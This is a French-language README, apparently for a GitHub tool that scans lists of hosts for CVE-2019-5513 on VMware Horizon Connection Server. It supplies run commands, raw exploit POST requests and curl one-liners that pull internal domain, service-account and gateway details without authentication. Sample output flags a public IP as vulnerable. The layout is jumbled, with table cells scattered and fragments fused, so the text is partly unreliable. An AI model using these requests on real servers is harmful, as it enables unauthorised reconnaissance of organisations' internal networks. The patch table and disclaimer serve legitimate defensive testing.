
Le serveur de connexion VMware Horizon est souvent utilisé comme passerelle accessible sur Internet vers l'environnement de bureau virtuel (VDI) d'une organisation. Jusqu'à récemment, la plupart de ces installations exposaient le nom interne du serveur de connexion, l'adresse IP interne de la passerelle et le domaine Active Directory à des attaquants non authentifiés.
Un scanner multi-thread haute performance pour détecter les vulnérabilités de divulgation d'informations non authentifiées dans le point de terminaison /broker/xml de VMware Horizon Connection Server.
VMware Horizon Connection Server expose un point de terminaison d'API XML (/broker/xml) qui peut divulguer des informations de configuration interne sensibles sans nécessiter d'authentification. Ce scanner identifie rapidement les serveurs vulnérables en testant deux vecteurs d'attaque :
get-configuration.<?xml version="1.0" encoding="utf-8"?>
<broker>
<configuration>
<broker-service-principal>
<type>kerberos</type>
<name>[email protected]</name>
</broker-service-principal>
<domain>corporate-domain.example.com</domain>
</configuration>
</broker>
-o# Clonez le dépôt
git clone https://github.com/sudosu01/CVE-2019-5513-scanner.git
cd vmware-horizon-scanner
# Rendez le script exécutable
chmod +x broker.sh
./broker.sh -d targets.txt
./broker.sh -d targets.txt -t 100
./broker.sh -d targets.txt -t 100 -o results.txt
| Option | Description |
|---|---|
-d <fichier> | Fichier d'entrée contenant la liste des adresses IP/noms d'hôtes (un par ligne) |
# Les commentaires commencent par #
185.171.101.236
192.168.1.100
10.0.0.50
example-vmware.com
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Scanner de vulnérabilités VMware Horizon /broker/xml
Mode multi-thread - 50 threads
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] Test : POST vide (zero-day) + XML façonné (CVE-2019-5513)
[*] Protocoles : HTTPS + HTTP (les deux testés simultanément)
[*] Analyse de 3 hôtes...
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 185.171.101.236 | VULNÉRABLE | HTTPS | EMPTY_POST
Réponse :
<?xml version="1.0" encoding="utf-8"?>
<broker>
<configuration>
<broker-service-principal>
<type>kerberos</type>
<name>TEST-SERVER$@DOMAIN</name>
</broker-service-principal>
</configuration>
</broker>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[-] 192.168.1.100 | NON VULNÉRABLE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 10.0.0.50 | VULNÉRABLE | HTTP | CRAFTED_XML
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] ANALYSE TERMINÉE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Total des hôtes : 3
Vulnérables : 2
Non vulnérables : 1
Temps écoulé : 4 secondes
Pour les tests manuels, voici les requêtes brutes :
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 0
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 115
<?xml version='1.0' encoding='UTF-8'?><broker version='10.0'><get-configuration></get-configuration></broker>
curl -k -X POST "https://target/broker/xml" \
-H "Content-Type: text/xml" \
-H "User-Agent: VMware-Horizon-Client" \
-d ''
curl -k -X POST "https://target/broker/xml" \
-H "Content-Type: text/xml" \
-H "User-Agent: VMware-Horizon-Client" \
--data-binary '<?xml version="1.0" encoding="UTF-8"?><broker version="10.0"><get-configuration></get-configuration></broker>'
Mettez à niveau VMware Horizon Connection Server vers une version corrigée :
| Version | Version corrigée |
|---|---|
| 7.x | 7.8 ou ultérieure |
| 7.5.x | 7.5.2 ou ultérieure |
| 6.x | 6.2.8 ou ultérieure |
/broker/xml/broker/xmlCet outil est basé sur les recherches des chercheurs en sécurité suivants :
Le vecteur d'attaque du corps POST vide a été identifié lors de recherches supplémentaires. Le CVE original nécessitait une charge utile XML façonnée ; cet outil teste également la méthode du corps vide, qui ne nécessite aucune construction de charge utile et est encore plus simple à exécuter.
Cet outil est destiné à des fins éducatives et aux tests de sécurité autorisés uniquement. L'analyse non autorisée de systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester peut violer les lois et réglementations. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.
Licence MIT
Si vous trouvez cet outil utile, veuillez lui attribuer une étoile sur GitHub !
| Attribut | Valeur |
|---|
| CVE | CVE-2019-5513 |
| Score CVSS | 5.3 (Moyen) |
| Vecteur | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| Produits concernés | VMware Horizon Connection Server 7.x avant 7.8, 7.5.x avant 7.5.2, 6.x avant 6.2.8 |
| Informations divulguées | Nom de domaine Active Directory, nom du compte de service (compte machine), noms d'hôtes internes, adresses IP de la passerelle |
-t <num> |
| Nombre de threads (par défaut : 50) |
-o <fichier> | Fichier de sortie pour sauvegarder les résultats |
-h | Affiche le message d'aide |